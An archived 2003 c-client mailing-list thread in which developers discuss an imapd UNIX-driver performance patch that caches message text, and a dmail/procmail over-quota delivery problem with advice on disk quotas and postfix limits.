(mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0e3uL028472 for ; Tue, 16 Dec 2003 16:40:04 -0800 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0e1Dv003221 for ; Tue, 16 Dec 2003 16:40:02 -0800 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [211.39.128.65]) by mx-s0.dreamwiz.com (8.12.10/8.12.10) with ESMTP id hBH0e0Dj098138 for ; Wed, 17 Dec 2003 09:40:01 +0900 (KST) Received: from [127.0.0.1] (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.12.10/8.12.10) with ESMTP id hBH0e0Me009600 for ; Wed, 17 Dec 2003 09:40:00 +0900 (KST) Message-Id: <200312170040.hBH0e0Me009600@pmail0.dreamwiz.com> Date: Wed, 17 Dec 2003 09:40:00 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjGKFN1bmctaG9vbiBDaG9pKQ==?= To: c-client@u.washington.edu Subject: IMAPd( UNIX driver ) performance problem MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender-IP: 211.45.66.36 X-Sender-ID: shoon@dreamwiz.com X-Priority: 3 X-DreamWiz-Data: receive_check=0;save=pmail0.dreamwiz.com:shoon:Sent:1007; X-Uwash-Spam: Gauge=XXXXXXXII, Probability=72%, Report='KNOWN_ADVERT_DOMAIN 5, CHARSET_FARAWAY_HEADERS 1.154, PRIORITY_NO_NAME 0.716, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We use imapd( UNIX driver ) and our client program code is following [Client code example]. If a message consists of 100 bodies and message size is 20M bytes, then read() called 100 times. Why? For every mail_fetch_body() call for one message, the imapd calls stream->dtb->text() ( i.e. unix_text() ). unix_text_work() ( from unix_work() ) calls read() with full message text size. Totally, 20M*100times = 2GB read() is requested. !!! I made a temporary patch for fix this problem. ( Please, check [My temporary patch for unix.c & unix.h] ) I think this is not correct solution, but to show my idea. ;-) Thanks for reading. ------------------- [ Client code example ] ---------------------------- int fetch_body_contents( BODY *body, char *pfx ) { mail_fetch_body( body, pfx, ... ) } int fetch_body( BODY *body, char *pfx, long i ) { char tmp[MAILTMPLEN]; if ( body->type == TYPEMULTIPART ) { if ( pfx ) /* if not first time, extend prefix */ sprintf( tmp,"%s%ld.", pfx, ++i ); else tmp[0] = '\0'; for ( i = 0, part = body->nested.part ; part ; part = part->next ) { if ( !fetch_body( &part->body, tmp, i++ ) ) return -1; } return 1; } else /* non-multipart */ { if ( !pfx ) /* dummy prefix if top level */ pfx = ""; sprintf( tmp, "%s%ld", pfx, ++i ); if ( fetch_body_contents( body, tmp ) < 0 ) return -1; /* encapsulated message? */ if ( (body->type == TYPEMESSAGE) && (body->subtype[0] == 'R' && body->subtype[1] == 'F' && body->subtype[2] == 'C' && body->subtype[3] == '8' && body->subtype[4] == '2' && body->subtype[5] == '2' && body->subtype[6] == 0 ) && (body->nested.msg) && (body = body->nested.msg->body) ) (body = body->nested.msg->body) ) { if ( body->type == TYPEMULTIPART ) { return fetch_body( body, pfx, i-1 ); } else /* build encapsulation prefix */ { sprintf( tmp, "%s%ld.", pfx, i ); return fetch_body( body, tmp, (long)0 ); } } return 1; } } int parse_mail() { int result; mail_fetchstructure_full( ... ) result = fetch_body( body, "", 0 ); } ----------------- [ My temporary patch ] ----------------------- *** unix.c.orig Tue Dec 16 12:33:34 2003 --- unix.c Tue Dec 16 12:37:47 2003 *************** *** 558,563 **** --- 558,580 ---- FDDATA d; STRING bs; char *s,*t,*tl,tmp[CHUNK]; + char *_buf_; + int _buflen_; + + if ( LOCAL->fullmsg != NIL && + LOCAL->fullmsg_elt == elt && + LOCAL->fullmsg_flags == (flags & FT_INTERNAL) ) { + *length = LOCAL->fullmsg_len; + return LOCAL->fullmsg; + } + fs_give( (void **)&LOCAL->fullmsg ); + LOCAL->fullmsg_len = 0; + LOCAL->fullmsg_elt = NIL; + _buf_ = LOCAL->buf; + _buflen_ = LOCAL->buflen; + LOCAL->buflen = (flags & FT_INTERNAL) ? elt->private.msg.text.text.size : + elt->rfc822_size; + LOCAL->buf = fs_get( LOCAL->buflen+1 ); /* go to text position */ lseek (LOCAL->fd,elt->private.special.offset + elt->private.msg.text.offset,L_SET); *************** *** 602,608 **** *s = '\0'; /* tie off buffer */ *length = s - LOCAL->buf; /* calculate length */ } ! return LOCAL->buf; } /* UNIX per-message modify flag --- 619,631 ---- *s = '\0'; /* tie off buffer */ *length = s - LOCAL->buf; /* calculate length */ } ! LOCAL->fullmsg = LOCAL->buf; ! LOCAL->fullmsg_len = *length; ! LOCAL->fullmsg_elt = elt; ! LOCAL->fullmsg_flags = flags & FT_INTERNAL; ! LOCAL->buf = _buf_; ! LOCAL->buflen = _buflen_; ! return LOCAL->fullmsg; } /* UNIX per-message modify flag *************** *** 1009,1014 **** --- 1032,1038 ---- /* free local text buffers */ if (LOCAL->buf) fs_give ((void **) &LOCAL->buf); if (LOCAL->line) fs_give ((void **) &LOCAL->line); + if (LOCAL->fullmsg) fs_give ((void **) &LOCAL->fullmsg); /* nuke the local data */ fs_give ((void **) &stream->local); stream->dtb = NIL; /* log out the DTB */ *** unix.h.orig Wed Oct 25 08:41:26 2000 --- unix.h Tue Dec 16 12:36:08 2003 *************** *** 168,173 **** --- 168,177 ---- char *buf; /* temporary buffer */ unsigned long buflen; /* current size of temporary buffer */ char *line; /* returned line */ + char *fullmsg; + unsigned long fullmsg_len; + void *fullmsg_elt; + long fullmsg_flags; } UNIXLOCAL; Choi, Sung-hoon DreamWiz Inc. - Development Team/Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 16 16:46:41 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Dec 2003 16:46:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0kfUF028048 for ; Tue, 16 Dec 2003 16:46:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0kdlp014284 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Dec 2003 16:46:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBH0jMop012482; Tue, 16 Dec 2003 16:45:22 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0ipuL028526 for ; Tue, 16 Dec 2003 16:44:51 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0ioRg020357 for ; Tue, 16 Dec 2003 16:44:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0ilK4016580; Tue, 16 Dec 2003 16:44:47 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0ikvo027497 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 16 Dec 2003 16:44:47 -0800 Message-Id: Date: Tue, 16 Dec 2003 16:43:54 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: shoon@dreamwiz.com Cc: c-client@u.washington.edu Subject: Re: IMAPd( UNIX driver ) performance problem In-Reply-To: <200312170040.hBH0e0Me009600@pmail0.dreamwiz.com> References: <200312170040.hBH0e0Me009600@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Normally, this is not an issue since the buffer cache prevents re-reading. However, the next snapshot of imap-2003 (the code is being tested now) will cache the most recently read message body in the driver. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 17 08:46:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Dec 2003 08:46:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHGkMUF026872 for ; Wed, 17 Dec 2003 08:46:22 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHGkKlp006321 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Dec 2003 08:46:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBHGibAk012336; Wed, 17 Dec 2003 08:44:37 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHGhIuL036652 for ; Wed, 17 Dec 2003 08:43:18 -0800 Received: from apollo.le.ac.uk (ntp2b.le.ac.uk [143.210.16.125]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHGhGbc015913 for ; Wed, 17 Dec 2003 08:43:17 -0800 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by apollo.le.ac.uk with esmtp (Exim 4.24) id 1AWelX-00048p-LQ for c-client@u.washington.edu; Wed, 17 Dec 2003 16:43:15 +0000 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id EE9952F6738 for ; Wed, 17 Dec 2003 16:43:15 +0000 (GMT) Message-Id: <20031217164315.EE9952F6738@scyros.mcs.le.ac.uk> Date: Wed, 17 Dec 2003 16:45:44 +0000 (GMT) Reply-To: "J. A. Landamore" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. A. Landamore" To: c-client@u.washington.edu Subject: question about dmail when mailbox over quota Content-Type: text X-Sun-Text-Type: ascii X-Uwash-Spam: Gauge=X, Probability=10%, Report='MIME_HEADER_CTYPE_ONLY 0.653, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using dmail with postfix and procmail to deliver to mbx format mailboxes. There is a maximum mailbox size set in postfix, and before that is reached everything is fine. However when dmail tries to deliver a mail to an INBOX that would take it overquota the mail just gets silently dropped. By switching on debugging for dmail I get: for an INBOX with plenty of space procmail: Notified comsat: "testfred@:/usr/local/bin/dmail -D" >From jal@mcs.le.ac.uk Wed Dec 17 16:25:18 2003 Subject: test number 2 Folder: /usr/local/bin/dmail -D 718 procmail: Executing "/usr/local/bin/dmail,-D" delivering to testfred+INBOX Verifying safe delivery to /home/testfred/INBOX mbx appending to #driver.mbx/INBOX (file /home/testfred/INBOX) delivered to /home/testfred/INBOX Verifying safe delivery to /home/testfred/INBOX for an INBOX where the message will take it over quota procmail: Notified comsat: "testfred@:/usr/local/bin/dmail -D" >From jal@mcs.le.ac.uk Wed Dec 17 16:28:00 2003 Subject: What happens now Folder: /usr/local/bin/dmail -D 747 procmail: Executing "/usr/local/bin/dmail,-D" delivering to testfred+INBOX Verifying safe delivery to /home/testfred/INBOX mbx appending to #driver.mbx/INBOX (file /home/testfred/INBOX) and there it hangs. Any ideas anyone? Thanks in advance John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 17 09:42:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Dec 2003 09:42:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHgNUF029773 for ; Wed, 17 Dec 2003 09:42:23 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHgL72031321 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Dec 2003 09:42:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBHHeaFe005094; Wed, 17 Dec 2003 09:40:37 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHdkuL047290 for ; Wed, 17 Dec 2003 09:39:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHdjrQ028116 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Dec 2003 09:39:45 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHdgK4004864; Wed, 17 Dec 2003 09:39:42 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBHHdfFe017610; Wed, 17 Dec 2003 09:39:42 -0800 Message-Id: Date: Wed, 17 Dec 2003 09:39:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "J. A. Landamore" Cc: c-client@u.washington.edu Subject: Re: question about dmail when mailbox over quota In-Reply-To: <20031217164315.EE9952F6738@scyros.mcs.le.ac.uk> References: <20031217164315.EE9952F6738@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm confused. First you say that the mail "is silently dropped" when it would take the user over quota, then you say that "dmail hangs". Which is it? "Silently dropped" is a known behavior of procmail. You have to do something to cause an error from the delivery program to be passed back up to the mail delivery system. I don't know what it is, since I am not a procmail expert, but it apparently is more than just piping. "Hanging" is a different matter. c-client reacts to an appending write() error (including over-quota) by revoking the append and putting the mailbox file back to the way it was before. Unfortunately, it seems some UNIX variants, once it decides that the file is in "write error" status, keeps the file descriptor in that status even after the condition which caused it is corrected. The result is that the write() to put things back fails again. dmail doesn't know what to do other than try again, because it doesn't want to leave the file in a corrupted state. So that may be the cause of the hang; dmail is trying to revert the file back to the way it was before it started the append, but the operating system keeps on returning error. Note that this is supposition based upon empirical observations from third parties; I have never seen this behavior on any operating system that I use. If this is what is happening, then I don't know of anything (that I am not already doing) that would make the system let me write into the file again. In my humble opinion,... Hard disk quotas are a mistake. Historically, operating systems (all operating systems, not just UNIX) have *always* made hard disk quotas problematic for applications. It's not such much that a quota exceeded error can happen, but rather the variance in operating system behavior (even in different releases of the same OS) that make it difficult for an application to recover. It is a much more productive strategy to buy enough disk for user's needs. As the Dilbert cartoon says, "here's a quarter; now you can afford to double my disk quota." To check abusive behavior, soft disk quotas are preferable; allow the mail to be delivered, but then flag the account to start nagging the user to get under quota. It may be necessary to have a second level of flagging that stops mail delivery when if the user defies the nags and stays over quota, but never use hard disk quota. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 18 05:11:54 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 05:11:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIDBsUF005951 for ; Thu, 18 Dec 2003 05:11:54 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIDBq72032561 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 05:11:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIDA0op016284; Thu, 18 Dec 2003 05:10:00 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBID8auL037958 for ; Thu, 18 Dec 2003 05:08:36 -0800 Received: from artemis.le.ac.uk (mailsend.le.ac.uk [143.210.16.126]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBID8Yf0031583 for ; Thu, 18 Dec 2003 05:08:35 -0800 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by artemis.le.ac.uk with esmtp (Exim 4.24) id 1AWxtJ-0003Px-5J for c-client@u.washington.edu; Thu, 18 Dec 2003 13:08:33 +0000 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id 372222F6736 for ; Thu, 18 Dec 2003 13:08:34 +0000 (GMT) Message-Id: <20031218130834.372222F6736@scyros.mcs.le.ac.uk> Date: Thu, 18 Dec 2003 13:11:02 +0000 (GMT) Reply-To: "J. A. Landamore" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. A. Landamore" To: c-client@u.washington.edu Subject: Re: question about dmail when mailbox over quota Content-Type: text X-Sun-Text-Type: ascii X-Uwash-Spam: Gauge=X, Probability=10%, Report='MIME_HEADER_CTYPE_ONLY 0.653' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Many thanks for the information, and apologies for my confusing mail. The mail is silently dropped. I thought dmail was hanging from the way the log just stopped part way through the attempt by dmail to deliver the mail and there was no debug info about it cleaning up. However there is no dmail process running and the mailfile is left in an intact state. Also subsequent writes that don't take it over-quota are successful. So it's a procmail problem, thanks for the insight. I take your point about quotas, but this really is the last line of defense for some very uncooperative users. Hopefully having lost mail and been inconvenienced by this for several days might help him see the light. Thanks again for your help Season's greeting John John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 > >I'm confused. First you say that the mail "is silently dropped" when it >would take the user over quota, then you say that "dmail hangs". Which is >it? > >"Silently dropped" is a known behavior of procmail. You have to do >something to cause an error from the delivery program to be passed back up >to the mail delivery system. I don't know what it is, since I am not a >procmail expert, but it apparently is more than just piping. > >"Hanging" is a different matter. c-client reacts to an appending write() >error (including over-quota) by revoking the append and putting the >mailbox file back to the way it was before. > >Unfortunately, it seems some UNIX variants, once it decides that the file >is in "write error" status, keeps the file descriptor in that status even >after the condition which caused it is corrected. The result is that the >write() to put things back fails again. dmail doesn't know what to do >other than try again, because it doesn't want to leave the file in a >corrupted state. > >So that may be the cause of the hang; dmail is trying to revert the file >back to the way it was before it started the append, but the operating >system keeps on returning error. > >Note that this is supposition based upon empirical observations from third >parties; I have never seen this behavior on any operating system that I >use. > >If this is what is happening, then I don't know of anything (that I am not >already doing) that would make the system let me write into the file >again. > >In my humble opinion,... > >Hard disk quotas are a mistake. Historically, operating systems (all >operating systems, not just UNIX) have *always* made hard disk quotas >problematic for applications. It's not such much that a quota exceeded >error can happen, but rather the variance in operating system behavior >(even in different releases of the same OS) that make it difficult for an >application to recover. > >It is a much more productive strategy to buy enough disk for user's needs. >As the Dilbert cartoon says, "here's a quarter; now you can afford to >double my disk quota." > >To check abusive behavior, soft disk quotas are preferable; allow the mail >to be delivered, but then flag the account to start nagging the user to >get under quota. It may be necessary to have a second level of flagging >that stops mail delivery when if the user defies the nags and stays over >quota, but never use hard disk quota. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. >Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Thu Dec 18 10:15:09 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 10:15:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIF9UF016371 for ; Thu, 18 Dec 2003 10:15:09 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIF7lp020409 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 10:15:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIIDeAk013312; Thu, 18 Dec 2003 10:13:40 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIICDuL042104 for ; Thu, 18 Dec 2003 10:12:13 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIICCRg004005 for ; Thu, 18 Dec 2003 10:12:12 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIC8lo007597; Thu, 18 Dec 2003 10:12:09 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIC825007140; Thu, 18 Dec 2003 10:12:08 -0800 Message-Id: Date: Thu, 18 Dec 2003 10:12:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "J. A. Landamore" Cc: c-client@u.washington.edu Subject: Re: question about dmail when mailbox over quota In-Reply-To: <20031218130834.372222F6736@scyros.mcs.le.ac.uk> References: <20031218130834.372222F6736@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 Dec 2003, J. A. Landamore wrote: > Many thanks for the information, and apologies for my confusing > mail. The mail is silently dropped. I thought dmail was hanging from > the way the log just stopped part way through the attempt by dmail to > deliver the mail and there was no debug info about it cleaning up. > However there is no dmail process running and the mailfile is left in an > intact state. Something is suspicious. After the "appending to" message there should have been either a "delivered to" or a "message delivery failed to" message, both to stderr and to syslog. > Also subsequent writes that don't take it over-quota are > successful. So it's a procmail problem, thanks for the insight. Good luck in finding this! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 18 10:41:20 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 10:41:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIfKUF017546 for ; Thu, 18 Dec 2003 10:41:20 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIfIlp021410 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 10:41:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIIdtop014216; Thu, 18 Dec 2003 10:39:55 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIId2uL029904 for ; Thu, 18 Dec 2003 10:39:02 -0800 Received: from ns2.cksoft.de (ns2.cksoft.de [217.115.141.131]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIIcxZJ016779 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 18 Dec 2003 10:39:01 -0800 Received: from vesihiisi.cksoft.de (unknown [192.168.64.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ns2.cksoft.de (Postfix) with ESMTP id 8DBDF2A446; Thu, 18 Dec 2003 19:38:56 +0100 (CET) Received: from vesihiisi.cksoft.de (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 1BDFD1F37; Thu, 18 Dec 2003 19:38:52 +0100 (CET) Received: by vesihiisi.cksoft.de (Postfix, from userid 1000) id 24DD61E87; Thu, 18 Dec 2003 19:38:49 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 22B2D1E86; Thu, 18 Dec 2003 19:38:49 +0100 (CET) Message-Id: <20031218193212.E24150@vesihiisi.cksoft.de> Date: Thu, 18 Dec 2003 19:38:49 +0100 (CET) Reply-To: Christian Kratzer Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christian Kratzer To: "J. A. Landamore" Cc: c-client@u.washington.edu Subject: Re: question about dmail when mailbox over quota In-Reply-To: <20031217164315.EE9952F6738@scyros.mcs.le.ac.uk> References: <20031217164315.EE9952F6738@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: ck@vesihiisi.cksoft.de X-Spammer-Kill-Ratio: 75% X-Virus-Scanned: by AMaViS cksoft-s20020300-20031204bz on vesihiisi.cksoft.de X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 Dec 2003, J. A. Landamore wrote: > I am using dmail with postfix and procmail to deliver to mbx format mailboxes. > There is a maximum mailbox size set in postfix, and before that is reached > everything is fine. However when dmail tries to deliver a mail to an INBOX that > would take it overquota the mail just gets silently dropped. By switching on > debugging for dmail I get: mailbox_size_limit in the postfix main.cf sets process resource limits before forking the local delivery agent in this case procmail. The resource limits are inherited by all process the procmail forks and also dmail. I would suspect the problem might be that your procmail rules somehow stop dmail from returning a proper error condition to procmail. I would recommend that you setup test cases with different kinds of procmail rules with and without dmail to further narrow this down. Greetings Christian -- CK Software GmbH Christian Kratzer, Schwarzwaldstr. 31, 71131 Jettingen Email: ck@cksoft.de Phone: +49 7452 889-135 Open Software Solutions, 